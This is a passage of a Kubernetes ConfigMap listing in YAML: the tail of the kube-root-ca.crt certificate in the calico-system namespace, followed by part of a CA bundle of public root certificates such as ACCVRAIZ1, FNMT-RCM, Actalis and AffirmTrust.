      AoIBAQC/IDgp2zaND13k0TSACXzekaWU/m3lrD1rWGNxd3YtrT8cJ5c7aeznF/1Y
      xuHY1CNPWCaTIZAZZsCYFeHehI0vmwpgiBHyHP9u0WhjaZFAcrNeVg2q5s7IvJIl
      itdD2vGrfbs2gCGAtfz33WqjSixZTcAugdBAn7pwc6MM3P5g8egkGLzgz4bFFAcO
      J8eRYjApBVbaUN1Z+zN/bllAZXzmH8p4GUMOVZnzxyB+efi7tqgtBQx6tkcPCTEb
      5ATFzBJV2HRPqUx43Bt9fY+Vlvnrm2iAeE2OLhqD+8VRleuoJlbZIKyYK9duv7te
      jwobpsol/32aw7oaaS0J4uEiJGY9AgMBAAGjWTBXMA4GA1UdDwEB/wQEAwICpDAP
      BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQJ+hhqUXWmyp8Cmb97ddMr/eZFeDAV
      BgNVHREEDjAMggprdWJlcm5ldGVzMA0GCSqGSIb3DQEBCwUAA4IBAQAWNdMwXo1+
      8MkcGdwmMYIVV5yoi42JVgacZVgO0gXhBeWoTJ4V/ANpULdz8ZsFxZdkBWlOsMxj
      uvM0CJwpkv9gZS4ESoOTkELf5FLwbcP/7wVk7bRQAu1fBv4/LWQwEZt4AF9EIfqs
      XjuPzBoYvol/BWt63QbQ9BsqtzU1U3nVr/mwu2CKFj/JLTTkeeYRVpdCBUI/yG/F
      exJOerAxZNqtVxeLuI704gD4Qvm87OoAJzXnwKdp9wYp7/LlNe4ytZ5l1It8jvWo
      UBerksePljlsl+vc7j7Bx92TeHM4tl3hU/0FmQZVOTP6mD5eCTJNknKW5b9R+zfq
      fypZaRe88KkA
      -----END CERTIFICATE-----
  kind: ConfigMap
  metadata:
    annotations:
      kubernetes.io/description: Contains a CA bundle that can be used to verify the
        kube-apiserver when using internal endpoints such as the internal service
        IP or kubernetes.default.svc. No other usage is guaranteed across distributions
        of Kubernetes clusters.
    creationTimestamp: "2025-10-19T16:12:25Z"
    name: kube-root-ca.crt
    namespace: calico-system
    resourceVersion: "6821070"
    uid: 8c32cddf-c848-4a7c-9bde-78aa6d26d185
- apiVersion: v1
  data:
    ca-bundle.crt: |
      # ACCVRAIZ1
      -----BEGIN CERTIFICATE-----
      MIIH0zCCBbugAwIBAgIIXsO3pkN/pOAwDQYJKoZIhvcNAQEFBQAwQjESMBAGA1UE
      AwwJQUNDVlJBSVoxMRAwDgYDVQQLDAdQS0lBQ0NWMQ0wCwYDVQQKDARBQ0NWMQsw
      CQYDVQQGEwJFUzAeFw0xMTA1MDUwOTM3MzdaFw0zMDEyMzEwOTM3MzdaMEIxEjAQ
      BgNVBAMMCUFDQ1ZSQUlaMTEQMA4GA1UECwwHUEtJQUNDVjENMAsGA1UECgwEQUND
      VjELMAkGA1UEBhMCRVMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCb
      qau/YUqXry+XZpp0X9DZlv3P4uRm7x8fRzPCRKPfmt4ftVTdFXxpNRFvu8gMjmoY
      HtiP2Ra8EEg2XPBjs5BaXCQ316PWywlxufEBcoSwfdtNgM3802/J+Nq2DoLSRYWo
      G2ioPej0RGy9ocLLA76MPhMAhN9KSMDjIgro6TenGEyxCQ0jVn8ETdkXhBilyNpA
      lHPrzg5XPAOBOp0KoVdDaaxXbXmQeOW1tDvYvEyNKKGno6e6Ak4l0Squ7a4DIrhr
      IA8wKFSVf+DuzgpmndFALW4ir50awQUZ0m/A8p/4e7MCQvtQqR0tkw8jq8bBD5L/
      0KIV9VMJcRz/RROE5iZe+OCIHAr8Fraocwa48GOEAqDGWuzndN9wrqODJerWx5eH
      k6fGioozl2A3ED6XPm4pFdahD9GILBKfb6qkxkLrQaLjlUPTAYVtjrs78yM2x/47
      4KElB0iryYl0/wiPgL/AlmXz7uxLaL2diMMxs0Dx6M/2OLuc5NF/1OVYm3z61PMO
      m3WR5LpSLhl+0fXNWhn8ugb2+1KoS5kE3fj5tItQo05iifCHJPqDQsGH+tUtKSpa
      cXpkatcnYGMN285J9Y0fkIkyF/hzQ7jSWpOGYdbhdQrqeWZ2iE9x6wQl1gpaepPl
      uUsXQA+xtrn13k/c4LOsOxFwYIRKQ26ZIMApcQrAZQIDAQABo4ICyzCCAscwfQYI
      KwYBBQUHAQEEcTBvMEwGCCsGAQUFBzAChkBodHRwOi8vd3d3LmFjY3YuZXMvZmls
      ZWFkbWluL0FyY2hpdm9zL2NlcnRpZmljYWRvcy9yYWl6YWNjdjEuY3J0MB8GCCsG
      AQUFBzABhhNodHRwOi8vb2NzcC5hY2N2LmVzMB0GA1UdDgQWBBTSh7Tj3zcnk1X2
      VuqB5TbMjB4/vTAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFNKHtOPfNyeT
      VfZW6oHlNsyMHj+9MIIBcwYDVR0gBIIBajCCAWYwggFiBgRVHSAAMIIBWDCCASIG
      CCsGAQUFBwICMIIBFB6CARAAQQB1AHQAbwByAGkAZABhAGQAIABkAGUAIABDAGUA
      cgB0AGkAZgBpAGMAYQBjAGkA8wBuACAAUgBhAO0AegAgAGQAZQAgAGwAYQAgAEEA
      QwBDAFYAIAAoAEEAZwBlAG4AYwBpAGEAIABkAGUAIABUAGUAYwBuAG8AbABvAGcA
      7QBhACAAeQAgAEMAZQByAHQAaQBmAGkAYwBhAGMAaQDzAG4AIABFAGwAZQBjAHQA
      cgDzAG4AaQBjAGEALAAgAEMASQBGACAAUQA0ADYAMAAxADEANQA2AEUAKQAuACAA
      QwBQAFMAIABlAG4AIABoAHQAdABwADoALwAvAHcAdwB3AC4AYQBjAGMAdgAuAGUA
      czAwBggrBgEFBQcCARYkaHR0cDovL3d3dy5hY2N2LmVzL2xlZ2lzbGFjaW9uX2Mu
      aHRtMFUGA1UdHwROMEwwSqBIoEaGRGh0dHA6Ly93d3cuYWNjdi5lcy9maWxlYWRt
      aW4vQXJjaGl2b3MvY2VydGlmaWNhZG9zL3JhaXphY2N2MV9kZXIuY3JsMA4GA1Ud
      DwEB/wQEAwIBBjAXBgNVHREEEDAOgQxhY2N2QGFjY3YuZXMwDQYJKoZIhvcNAQEF
      BQADggIBAJcxAp/n/UNnSEQU5CmH7UwoZtCPNdpNYbdKl02125DgBS4OxnnQ8pdp
      D70ER9m+27Up2pvZrqmZ1dM8MJP1jaGo/AaNRPTKFpV8M9xii6g3+CfYCS0b78gU
      JyCpZET/LtZ1qmxNYEAZSUNUY9rizLpm5U9EelvZaoErQNV/+QEnWCzI7UiRfD+m
      AM/EKXMRNt6GGT6d7hmKG9Ww7Y49nCrADdg9ZuM8Db3VlFzi4qc1GwQA9j9ajepD
      vV+JHanBsMyZ4k0ACtrJJ1vnE5Bc5PUzolVt3OAJTS+xJlsndQAJxGJ3KQhfnlms
      tn6tn1QwIgPBHnFk/vk4CpYY3QIUrCPLBhwepH2NDd4nQeit2hW3sCPdK6jT2iWH
      7ehVRE2I9DZ+hJp4rPcOVkkO1jMl1oRQQmwgEh0q1b688nCBpHBgvgW1m54ERL5h
      I6zppSSMEYCUWqKiuUnSwdzRp+0xESyeGabu4VXhwOrPDYTkF7eifKXeVSUG7szA
      h1xA2syVP1XgNce4hL60Xc16gwFy7ofmXx2utYXGJt/mwZrpHgJHnyqobalbz+xF
      d3+YJ5oyXSrjhO7FmGYvliAd3djDJ9ew+f7Zfc3Qn48LFFhRny+Lwzgt3uiP1o2H
      pPVWQxaZLPSkVrQ0uGE3ycJYgBugl6H8WY3pEfbRD0tVNEYqi4Y7
      -----END CERTIFICATE-----

      # AC RAIZ FNMT-RCM
      -----BEGIN CERTIFICATE-----
      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
      uu8wd+RU4riEmViAqhOLUTpPSPaLtrM=
      -----END CERTIFICATE-----

      # AC RAIZ FNMT-RCM SERVIDORES SEGUROS
      -----BEGIN CERTIFICATE-----
      MIICbjCCAfOgAwIBAgIQYvYybOXE42hcG2LdnC6dlTAKBggqhkjOPQQDAzB4MQsw
      CQYDVQQGEwJFUzERMA8GA1UECgwIRk5NVC1SQ00xDjAMBgNVBAsMBUNlcmVzMRgw
      FgYDVQRhDA9WQVRFUy1RMjgyNjAwNEoxLDAqBgNVBAMMI0FDIFJBSVogRk5NVC1S
      Q00gU0VSVklET1JFUyBTRUdVUk9TMB4XDTE4MTIyMDA5MzczM1oXDTQzMTIyMDA5
      MzczM1oweDELMAkGA1UEBhMCRVMxETAPBgNVBAoMCEZOTVQtUkNNMQ4wDAYDVQQL
      DAVDZXJlczEYMBYGA1UEYQwPVkFURVMtUTI4MjYwMDRKMSwwKgYDVQQDDCNBQyBS
      QUlaIEZOTVQtUkNNIFNFUlZJRE9SRVMgU0VHVVJPUzB2MBAGByqGSM49AgEGBSuB
      BAAiA2IABPa6V1PIyqvfNkpSIeSX0oNnnvBlUdBeh8dHsVnyV0ebAAKTRBdp20LH
      sbI6GA60XYyzZl2hNPk2LEnb80b8s0RpRBNm/dfF/a82Tc4DTQdxz69qBdKiQ1oK
      Um8BA06Oi6NCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYD
      VR0OBBYEFAG5L++/EYZg8k/QQW6rcx/n0m5JMAoGCCqGSM49BAMDA2kAMGYCMQCu
      SuMrQMN0EfKVrRYj3k4MGuZdpSRea0R7/DjiT8ucRRcRTBQnJlU5dUoDzBOQn5IC
      MQD6SmxgiHPz7riYYqnOK8LZiqZwMR2vsJRM60/G49HzYqc8/5MuB1xJAWdpEgJy
      v+c=
      -----END CERTIFICATE-----

      # ANF Secure Server Root CA
      -----BEGIN CERTIFICATE-----
      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
      -----END CERTIFICATE-----

      # Actalis Authentication Root CA
      -----BEGIN CERTIFICATE-----
      MIIFuzCCA6OgAwIBAgIIVwoRl0LE48wwDQYJKoZIhvcNAQELBQAwazELMAkGA1UE
      BhMCSVQxDjAMBgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8w
      MzM1ODUyMDk2NzEnMCUGA1UEAwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290
      IENBMB4XDTExMDkyMjExMjIwMloXDTMwMDkyMjExMjIwMlowazELMAkGA1UEBhMC
      SVQxDjAMBgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1
      ODUyMDk2NzEnMCUGA1UEAwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290IENB
      MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAp8bEpSmkLO/lGMWwUKNv
      UTufClrJwkg4CsIcoBh/kbWHuUA/3R1oHwiD1S0eiKD4j1aPbZkCkpAW1V8IbInX
      4ay8IMKx4INRimlNAJZaby/ARH6jDuSRzVju3PvHHkVH3Se5CAGfpiEd9UEtL0z9
      KK3giq0itFZljoZUj5NDKd45RnijMCO6zfB9E1fAXdKDa0hMxKufgFpbOr3JpyI/
      gCczWw63igxdBzcIy2zSekciRDXFzMwujt0q7bd9Zg1fYVEiVRvjRuPjPdA1Yprb
      rxTIW6HMiRvhMCb8oJsfgadHHwTrozmSBp+Z07/T6k9QnBn+locePGX2oxgkg4YQ
      51Q+qDp2JE+BIcXjDwL4k5RHILv+1A7TaLndxHqEguNTVHnd25zS8gebLra8Pu2F
      be8lEfKXGkJh90qX6IuxEAf6ZYGyojnP9zz/GPvG8VqLWeICrHuS0E4UT1lF9gxe
      KF+w6D9Fz8+vm2/7hNN3WpVvrJSEnu68wEqPSpP4RCHiMUVhUE4Q2OM1fEwZtN4F
      v6MGn8i1zeQf1xcGDXqVdFUNaBr8EBtiZJ1t4JWgw5QHVw0U5r0F+7if5t+L4sbn
      fpb2U8WANFAoWPASUHEXMLrmeGO89LKtmyuy/uE5jF66CyCU3nuDuP/jVo23Eek7
      jPKxwV2dpAtMK9myGPW1n0sCAwEAAaNjMGEwHQYDVR0OBBYEFFLYiDrIn3hm7Ynz
      ezhwlMkCAjbQMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUUtiIOsifeGbt
      ifN7OHCUyQICNtAwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBCwUAA4ICAQAL
      e3KHwGCmSUyIWOYdiPcUZEim2FgKDk8TNd81HdTtBjHIgT5q1d07GjLukD0R0i70
      jsNjLiNmsGe+b7bAEzlgqqI0JZN1Ut6nna0Oh4lScWoWPBkdg/iaKWW+9D+a2fDz
      WochcYBNy+A4mz+7+uAwTc+G02UQGRjRlwKxK3JCaKygvU5a2hi/a5iB0P2avl4V
      SM0RFbnAKVy06Ij3Pjaut2L9HmLecHgQHEhb2rykOLpn7VU+Xlff1ANATIGk0k9j
      pwlCCRT8AKnCgHNPLsBA2RF7SOp6AsDT6ygBJlh0wcBzIm2Tlf05fbsq4/aC4yyX
      X04fkZT6/iyj2HYauE2yOE+b+h1IYHkm4vP9qdCa6HCPSXrW5b0KDtst842/6+Ok
      fcvHlXHo2qN8xcL4dJIEG4aspCJTQLas/kx2z/uUMsA1n3Y/buWQbqCmJqK4LL7R
      K4X9p2jIugErsWx0Hbhzlefut8cl8ABMALJ+tguLHPPAUJ4lueAI3jZm/zel0btU
      ZCzJJ7VLkn5l/9Mt4blOvH+kQSGQQXemOR/qnuOf0GZvBeyqdn6/axag67XH/JJU
      LysRJyU3eExRarDzzFhdFPFqSBX/wge2sY0PjlxQRrM9vwGYT7JZVEc+NHt4bVaT
      LnPqZih4zR0Uv6CPLy64Lo7yFIrM6bV8+2ydDKXhlg==
      -----END CERTIFICATE-----

      # AffirmTrust Commercial
      -----BEGIN CERTIFICATE-----
      MIIDTDCCAjSgAwIBAgIId3cGJyapsXwwDQYJKoZIhvcNAQELBQAwRDELMAkGA1UE
      BhMCVVMxFDASBgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVz
      dCBDb21tZXJjaWFsMB4XDTEwMDEyOTE0MDYwNloXDTMwMTIzMTE0MDYwNlowRDEL
      MAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZp
      cm1UcnVzdCBDb21tZXJjaWFsMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
      AQEA9htPZwcroRX1BiLLHwGy43NFBkRJLLtJJRTWzsO3qyxPxkEylFf6EqdbDuKP
      Hx6GGaeqtS25Xw2Kwq+FNXkyLbscYjfysVtKPcrNcV/pQr6U6Mje+SJIZMblq8Yr
      ba0F8PrVC8+a5fBQpIs7R6UjW3p6+DM/uO+Zl+MgwdYoic+U+7lF7eNAFxHUdPAL
      MeIrJmqbTFeurCA+ukV6BfO9m2kVrn1OIGPENXY6BwLJN/3HR+7o8XYdcxXyl6S1
      yHp52UKqK39c/s4mT6NmgTWvRLpUHhwwMmWd5jyTXlBOeuM61G7MGvv50jeuJCqr
      VwMiKA1JdX+3KNp1v47j3A55MQIDAQABo0IwQDAdBgNVHQ4EFgQUnZPGU4teyq8/
      nx4P5ZmVvCT2lI8wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwDQYJ
      KoZIhvcNAQELBQADggEBAFis9AQOzcAN/wr91LoWXym9e2iZWEnStB03TX8nfUYG
      XUPGhi4+c7ImfU+TqbbEKpqrIZcUsd6M06uJFdhrJNTxFq7YpFzUf1GO7RgBsZNj
      vbz4YYCanrHOQnDiqX0GJX0nof5v7LMeJNrjS1UaADs1tDvZ110w/YETifLCBivt
      Z8SOyUOyXGsViQK8YvxO8rUzqrJv0wqiUOP2O+guRMLbZjipM1ZI8W0bM40NjD9g
      N53Tym1+NH4Nn3J2ixufcv1SNUFFApYvHLKac0khsUlHRUe072o0EclNmsxZt9YC
      nlpOZbWUrhvfKbAW8b8Angc6F2S1BLUjIZkKlTuXfO8=
      -----END CERTIFICATE-----

      # AffirmTrust Networking
      -----BEGIN CERTIFICATE-----
      MIIDTDCCAjSgAwIBAgIIfE8EORzUmS0wDQYJKoZIhvcNAQEFBQAwRDELMAkGA1UE
      BhMCVVMxFDASBgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVz
      dCBOZXR3b3JraW5nMB4XDTEwMDEyOTE0MDgyNFoXDTMwMTIzMTE0MDgyNFowRDEL
      MAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZp
      cm1UcnVzdCBOZXR3b3JraW5nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
      AQEAtITMMxcua5Rsa2FSoOujz3mUTOWUgJnLVWREZY9nZOIG41w3SfYvm4SEHi3y
      YJ0wTsyEheIszx6e/jarM3c1RNg1lho9Nuh6DtjVR6FqaYvZ/Ls6rnla1fTWcbua
      kCNrmreIdIcMHl+5ni36q1Mr3Lt2PpNMCAiMHqIjHNRqrSK6mQEubWXLviRmVSRL
      QESxG9fhwoXA3hA/Pe24/PHxI1Pcv2WXb9n5QHGNfb2V1M6+oF4nI979ptAmDgAp
      6zxG8D1gvz9Q0twmQVGeFDdCBKNwV6gbh+0t+nvujArjqWaJGctB+d1ENmHP4ndG
      yH329JKBNv3bNPFyfvMMFr20FQIDAQABo0IwQDAdBgNVHQ4EFgQUBx/S55zawm6i
      QLSwelAQUHTEyL0wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwDQYJ
      KoZIhvcNAQEFBQADggEBAIlXshZ6qML91tmbmzTCnLQyFE2npN/svqe++EPbkTfO
      tDIuUFUaNU52Q3Eg75N3ThVwLofDwR1t3Mu1J9QsVtFSUzpE0nPIxBsFZVpikpzu
      QY0x2+c06lkh1QF612S4ZDnNye2v7UsDSKegmQGA3GWjNq5lWUhPgkvIZfFXHeVZ
      Lgo/bNjR9eUJtGxUAArgFU2HdW23WJZa3W3SAKD0m0i+wzekujbgfIeFlxoVot4u
      olu9rxj5kFDNcFn4J2dHy8egBzp90SxdbBk6ZrV9/ZFvgrG+CJPbFEfxojfHRZ48
      x3evZKiT3/Zpg4Jg8klCNO1aAFSFHBY2kgxc+qatv9s=
      -----END CERTIFICATE-----

      # AffirmTrust Premium
      -----BEGIN CERTIFICATE-----
      MIIFRjCCAy6gAwIBAgIIbYwURrGmCu4wDQYJKoZIhvcNAQEMBQAwQTELMAkGA1UE
      BhMCVVMxFDASBgNVBAoMC0FmZmlybVRydXN0MRwwGgYDVQQDDBNBZmZpcm1UcnVz
      dCBQcmVtaXVtMB4XDTEwMDEyOTE0MTAzNloXDTQwMTIzMTE0MTAzNlowQTELMAkG
      A1UEBhMCVVMxFDASBgNVBAoMC0FmZmlybVRydXN0MRwwGgYDVQQDDBNBZmZpcm1U
      cnVzdCBQcmVtaXVtMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAxBLf
      qV/+Qd3d9Z+K4/as4Tx4mrzY8H96oDMq3I0gW64tb+eT2TZwamjPjlGjhVtnBKAQ
      JG9dKILBl1fYSCkTtuG+kU3fhQxTGJoeJKJPj/CihQvL9Cl/0qRY7iZNyaqoe5rZ
      +jjeRFcV5fiMyNlI4g0WJx0eyIOFJbe6qlVBzAMiSy2RjYvmia9mx+n/K+k8rNrS
      s8PhaJyJ+HoAVt70VZVs+7pk3WKL3wt3MutizCaam7uqYoNMtAZ6MMgpv+0GTZe5
      HMQxK9VfvFMSF5yZVylmd2EhMQcuJUmdGPLu8ytxjLW6OQdJd/zvLpKQBY0tL3d7
      70O/Nbua2Plzpyzy0FfuKE4mX4+QaAkvuPjcBukumj5Rp9EixAqnOEhss/n/fauG
      V+O61oV4d7pD6kh/9ti+I20ev9E2bFhc8e6kGVQa9QPSdubhjL08s9NIS+LI+H+S
      qHZGnEJlPqQewQcDWkYtuJfzt9WyVSHvutxMAJf7FJUnM7/oQ0dG0giZFmA7mn7S
      5u046uwBHjxIVkkJx0w3AJ6IDsBz4W9m6XJHMD4Q5QsDyZpCAGzFlH5hxIrff4Ia
      C1nEWTJ3s7xgaVY5/bQGeyzWZDbZvUjthB9+pSKPKrhC9IK31FOQeE4tGv2Bb0TX
      OwF0lkLgAOIua+rF7nKsu7/+6qqo+Nz2snmKtmcCAwEAAaNCMEAwHQYDVR0OBBYE
      FJ3AZ6YMItkm9UWrpmVSESfYRaxjMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/
      BAQDAgEGMA0GCSqGSIb3DQEBDAUAA4ICAQCzV00QYk465KzquByvMiPIs0laUZx2
      KI15qldGF9X1Uva3ROgIRL8YhNILgM3FEv0AVQVhh0HctSSePMTYyPtwni94loMg
      Nt58D2kTiKV1NpgIpsbfrM7jWNa3Pt668+s0QNiigfV4Py/VpfzZotReBA4Xrf5B
      8OWycvpEgjNC6C1Y91aMYj+6QrCcDFx+LmUmXFNPALJ4fqENmS2NuB2OosSw/WDQ
      MKSOyARiqcTtNd56l+0OOF6SL5Nwpamcb6d9Ex1+xghIsV5n61EIJenmJWtSKZGc
      0jlzCFfemQa0W50QBuHCAKi4HEoCChTQwUHK+4w1IX2COPKpVJEZNZOUbWo6xbLQ
      u4mGk+ibyQ86p3q4ofB4Rvr8Ny/lioTz3/4E2aFooC8k4gmVBtWVyuEklut89pMF
      u+1z6S3RdTnX5yTb2E5fQ4+e0BQ5v1VwSJlXMbSc7kqYA5YwH2AG7hsj/oFgIxpH
      YoWlzBk0gG+zrBrjn/B7SK3VAdlntqlyk+otZrWyuOQ9PLLvTIzq6we/qzWaVYa8
      GKa1qF60g2xraUDTn9zxw2lrueFtCfTxqlB2Cnp9ehehVZZCmTEJ3WARjQUwfuaO
      RtGdFNrHF+QFlozEJLUbzxQHskD4o55BhrwE0GuWyCqANP2/7waj3VjFhT0+j/6e
      KeC2uAloGRwYQw==
      -----END CERTIFICATE-----

      # AffirmTrust Premium ECC
      -----BEGIN CERTIFICATE-----
      MIIB/jCCAYWgAwIBAgIIdJclisc/elQwCgYIKoZIzj0EAwMwRTELMAkGA1UEBhMC
